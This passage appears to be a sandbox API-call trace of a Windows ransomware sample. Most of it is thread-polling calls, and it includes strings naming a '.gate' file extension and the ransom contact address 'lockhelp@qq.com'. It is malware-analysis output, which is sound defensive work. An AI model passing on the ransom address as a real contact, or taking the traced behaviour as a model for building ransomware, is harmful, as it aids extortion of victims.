[0304.236] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.351] GetTickCount () returned 0x27b21 [0304.351] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.468] GetTickCount () returned 0x27b8f [0304.468] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.582] GetTickCount () returned 0x27c0c [0304.582] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.698] GetTickCount () returned 0x27c79 [0304.698] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.813] GetTickCount () returned 0x27ce6 [0304.814] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.937] GetTickCount () returned 0x27d63 [0304.937] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.051] GetTickCount () returned 0x27de0 [0305.051] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.157] GetTickCount () returned 0x27e3e [0305.157] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.267] GetTickCount () returned 0x27eac [0305.267] GetTickCount () returned 0x27eac [0305.267] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.368] GetTickCount () returned 0x27f19 [0305.368] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.468] GetTickCount () returned 0x27f77 [0305.468] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.568] GetTickCount () returned 0x27fe4 [0305.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.691] GetTickCount () returned 0x28051 [0305.691] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.879] GetTickCount () returned 0x2810d [0305.879] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0305.987] GetTickCount () returned 0x2818a [0305.987] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.096] GetTickCount () returned 0x281e8 [0306.096] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.218] GetTickCount () returned 0x28265 [0306.218] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.313] GetTickCount () returned 0x282c2 [0306.313] GetTickCount () returned 0x282c2 [0306.313] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.427] GetTickCount () returned 0x2833f [0306.427] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.557] GetTickCount () returned 0x283ad [0306.557] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.659] GetTickCount () returned 0x2841a [0306.659] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.774] GetTickCount () returned 0x28488 [0306.774] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.866] GetTickCount () returned 0x284f5 [0306.866] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0306.981] GetTickCount () returned 0x28562 [0306.981] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.081] GetTickCount () returned 0x285d0 [0307.081] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.275] GetTickCount () returned 0x2867c [0307.275] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.428] GetTickCount () returned 0x28727 [0307.428] GetTickCount () returned 0x28727 [0307.428] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.623] GetTickCount () returned 0x287e3 [0307.623] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.756] GetTickCount () returned 0x28870 [0307.756] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0307.879] GetTickCount () returned 0x288ed [0307.879] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.011] GetTickCount () returned 0x2896a [0308.011] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.138] GetTickCount () returned 0x289e7 [0308.138] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.276] GetTickCount () returned 0x28a73 [0308.276] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.466] GetTickCount () returned 0x28b2f [0308.466] GetTickCount () returned 0x28b2f [0308.466] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.583] GetTickCount () returned 0x28bac [0308.583] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.718] GetTickCount () returned 0x28c29 [0308.718] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0308.844] GetTickCount () returned 0x28ca6 [0308.844] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.182] GetTickCount () returned 0x28dfd [0309.182] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.320] GetTickCount () returned 0x28e8a [0309.320] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.428] GetTickCount () returned 0x28ef7 [0309.428] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.551] GetTickCount () returned 0x28f74 [0309.552] GetTickCount () returned 0x28f74 [0309.552] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.654] GetTickCount () returned 0x28fd2 [0309.654] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.761] GetTickCount () returned 0x29040 [0309.761] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.892] GetTickCount () returned 0x290bd [0309.892] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0309.994] GetTickCount () returned 0x2912a [0309.994] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.102] GetTickCount () returned 0x29197 [0310.102] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.215] GetTickCount () returned 0x29205 [0310.215] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.325] GetTickCount () returned 0x29272 [0310.325] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.433] GetTickCount () returned 0x292df [0310.433] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.541] GetTickCount () returned 0x2934d [0310.541] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.649] GetTickCount () returned 0x293ba [0310.649] GetTickCount () returned 0x293ba [0310.649] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.759] GetTickCount () returned 0x29428 [0310.759] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0310.867] GetTickCount () returned 0x29495 [0310.867] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0312.337] GetTickCount () returned 0x29a52 [0312.337] GetTickCount () returned 0x29a52 [0312.337] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0312.525] GetTickCount () returned 0x29b0d [0312.525] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0312.661] GetTickCount () returned 0x29b9a [0312.661] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0312.785] GetTickCount () returned 0x29c17 [0312.785] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0312.924] GetTickCount () returned 0x29c94 [0312.924] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.035] GetTickCount () returned 0x29d11 [0313.035] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.155] GetTickCount () returned 0x29d7e [0313.155] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.259] GetTickCount () returned 0x29dec [0313.259] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.414] GetTickCount () returned 0x29e78 [0313.414] GetTickCount () returned 0x29e78 [0313.414] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.521] GetTickCount () returned 0x29ef5 [0313.521] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.636] GetTickCount () returned 0x29f63 [0313.636] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.745] GetTickCount () returned 0x29fd0 [0313.745] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.884] GetTickCount () returned 0x2a04d [0313.884] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0313.979] GetTickCount () returned 0x2a0ba [0313.979] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.122] GetTickCount () returned 0x2a147 [0314.122] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.229] GetTickCount () returned 0x2a1b4 [0314.229] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.357] GetTickCount () returned 0x2a231 [0314.357] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.497] GetTickCount () returned 0x2a2be [0314.497] GetTickCount () returned 0x2a2be [0314.497] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.604] GetTickCount () returned 0x2a32b [0314.604] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.714] GetTickCount () returned 0x2a399 [0314.714] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.823] GetTickCount () returned 0x2a406 [0314.823] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0314.940] GetTickCount () returned 0x2a473 [0314.940] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.154] GetTickCount () returned 0x2a54e [0315.154] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.261] GetTickCount () returned 0x2a5bc [0315.261] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.370] GetTickCount () returned 0x2a629 [0315.370] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.484] GetTickCount () returned 0x2a696 [0315.484] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.608] GetTickCount () returned 0x2a713 [0315.608] GetTickCount () returned 0x2a713 [0315.608] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.714] GetTickCount () returned 0x2a781 [0315.714] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0315.856] GetTickCount () returned 0x2a80d [0315.856] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.011] GetTickCount () returned 0x2a8aa [0316.011] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.146] GetTickCount () returned 0x2a927 [0316.146] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.275] GetTickCount () returned 0x2a9a4 [0316.275] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.441] GetTickCount () returned 0x2aa4f [0316.441] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.573] GetTickCount () returned 0x2aadc [0316.573] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.686] GetTickCount () returned 0x2ab49 [0316.686] GetTickCount () returned 0x2ab49 [0316.686] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.799] GetTickCount () returned 0x2abb7 [0316.799] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0316.995] GetTickCount () returned 0x2ac82 [0316.995] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.104] GetTickCount () returned 0x2acef [0317.104] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.375] GetTickCount () returned 0x2adf9 [0317.375] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.512] GetTickCount () returned 0x2ae86 [0317.512] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.630] GetTickCount () returned 0x2aef3 [0317.630] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.795] GetTickCount () returned 0x2af9f [0317.795] GetTickCount () returned 0x2af9f [0317.795] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0317.988] GetTickCount () returned 0x2b05a [0317.988] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0318.280] GetTickCount () returned 0x2b183 [0318.280] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0318.462] GetTickCount () returned 0x2b22f [0318.462] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0318.840] GetTickCount () returned 0x2b3b6 [0318.840] GetTickCount () returned 0x2b3b6 [0318.840] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x0 [0318.840] WaitForMultipleObjects (nCount=0x4, lpHandles=0x297ff5c*=0x2bc, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0319.571] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x521c020 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f0c8 | out: hHeap=0x6e0000) returned 1 [0319.573] lstrlenW (lpString=".gate") returned 5 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a808 | out: hHeap=0x6e0000) returned 1 [0319.573] lstrlenW (lpString=".[lockhelp@qq.com]") returned 18 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8488 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71efc8 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aeb0 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aec8 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aef8 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af10 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74aee0 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a8e0 | out: hHeap=0x6e0000) returned 1 [0319.573] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f018 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a898 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a8f8 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a910 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ef88 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f028 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a8c8 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71f098 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a820 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ef98 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74a9e8 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ea20 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e8e0 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6fa290 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6fc4a0 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x727ee8 | out: hHeap=0x6e0000) returned 1 [0319.574] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x744c98 | out: hHeap=0x6e0000) returned 1 [0319.574] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b350 [0319.574] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b350, Size=0x20) returned 0x7ddef8 [0319.574] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b2a8 [0319.574] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b2a8, Size=0x20) returned 0x7ddbd8 [0319.575] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0319.575] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0319.575] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x1) returned 1 [0319.575] lstrlenW (lpString="kernel32.dll") returned 12 [0319.575] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddbd8 | out: hHeap=0x6e0000) returned 1 [0319.575] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0319.575] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddef8 | out: hHeap=0x6e0000) returned 1 Thread: id = 46 os_tid = 0xe94 [0271.399] GetTickCount () returned 0x1fa59 [0271.399] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x24) returned 0x745058 [0271.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x745058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0271.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x745058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0271.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x745058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0271.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x745058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0271.401] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7402a0 [0271.401] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7402a0, Size=0x20) returned 0x71eae8 [0271.401] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7402a0 [0271.401] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7402a0, Size=0x20) returned 0x71ebd8 [0271.401] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0271.401] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0271.401] Wow64DisableWow64FsRedirection (in: OldValue=0x2abff7c | out: OldValue=0x2abff7c*=0x0) returned 1 [0271.401] lstrlenW (lpString="kernel32.dll") returned 12 [0271.401] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eae8 | out: hHeap=0x6e0000) returned 1 [0271.401] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0271.401] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ebd8 | out: hHeap=0x6e0000) returned 1 [0271.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x74af38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0271.402] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0272.353] GetTickCount () returned 0x1fe21 [0272.353] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0272.490] GetTickCount () returned 0x1fe9e [0272.490] GetTickCount () returned 0x1fe9e [0272.490] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0272.668] GetTickCount () returned 0x1ff5a [0272.668] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0272.985] GetTickCount () returned 0x20092 [0272.985] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.163] GetTickCount () returned 0x2013e [0273.163] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.297] GetTickCount () returned 0x201cb [0273.297] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.402] GetTickCount () returned 0x20238 [0273.402] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.510] GetTickCount () returned 0x202a6 [0273.510] GetTickCount () returned 0x202a6 [0273.510] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.620] GetTickCount () returned 0x20313 [0273.620] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.728] GetTickCount () returned 0x20380 [0273.728] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.837] GetTickCount () returned 0x203ee [0273.837] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0273.947] GetTickCount () returned 0x2045b [0273.948] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0274.057] GetTickCount () returned 0x204c8 [0274.057] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0274.166] GetTickCount () returned 0x20536 [0274.166] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0274.275] GetTickCount () returned 0x205a3 [0274.275] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0274.386] GetTickCount () returned 0x20611 [0274.386] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0274.526] GetTickCount () returned 0x2069d [0274.526] GetTickCount () returned 0x2069d [0274.526] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0275.413] GetTickCount () returned 0x20a08 [0275.413] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0275.610] GetTickCount () returned 0x20ad3 [0275.610] GetTickCount () returned 0x20ad3 [0275.610] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.045] GetTickCount () returned 0x20c89 [0276.045] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.263] GetTickCount () returned 0x20d64 [0276.263] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.423] GetTickCount () returned 0x20e00 [0276.423] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.554] GetTickCount () returned 0x20e7d [0276.554] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.654] GetTickCount () returned 0x20eea [0276.654] GetTickCount () returned 0x20eea [0276.654] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.764] GetTickCount () returned 0x20f58 [0276.764] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0276.922] GetTickCount () returned 0x20ff4 [0276.922] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.289] GetTickCount () returned 0x2115b [0277.289] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.399] GetTickCount () returned 0x211c9 [0277.399] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.515] GetTickCount () returned 0x21246 [0277.515] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.701] GetTickCount () returned 0x21301 [0277.701] GetTickCount () returned 0x21301 [0277.701] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.826] GetTickCount () returned 0x2137e [0277.826] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0277.986] GetTickCount () returned 0x2141a [0277.986] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0278.092] GetTickCount () returned 0x21488 [0278.092] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0278.215] GetTickCount () returned 0x214f5 [0278.215] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0278.732] GetTickCount () returned 0x21708 [0278.732] GetTickCount () returned 0x21708 [0278.732] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0279.000] GetTickCount () returned 0x21812 [0279.000] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0279.152] GetTickCount () returned 0x2189f [0279.152] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0279.321] GetTickCount () returned 0x2194a [0279.321] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0279.659] GetTickCount () returned 0x21aa2 [0279.659] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0279.936] GetTickCount () returned 0x21bbb [0279.936] GetTickCount () returned 0x21bbb [0279.936] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.182] GetTickCount () returned 0x21ca6 [0280.182] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.322] GetTickCount () returned 0x21d32 [0280.322] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.451] GetTickCount () returned 0x21dbf [0280.451] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.608] GetTickCount () returned 0x21e5b [0280.609] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.717] GetTickCount () returned 0x21ec9 [0280.717] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.826] GetTickCount () returned 0x21f36 [0280.826] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0280.935] GetTickCount () returned 0x21fa3 [0280.935] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.054] GetTickCount () returned 0x22020 [0281.054] GetTickCount () returned 0x22020 [0281.054] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.440] GetTickCount () returned 0x22197 [0281.440] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.539] GetTickCount () returned 0x22205 [0281.539] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.685] GetTickCount () returned 0x22291 [0281.685] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.860] GetTickCount () returned 0x2233d [0281.860] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0281.966] GetTickCount () returned 0x2239b [0281.966] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.185] GetTickCount () returned 0x22485 [0282.186] GetTickCount () returned 0x22485 [0282.186] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0282.294] GetTickCount () returned 0x224f3 [0282.294] WaitForSingleObject (hHandle=0x304, 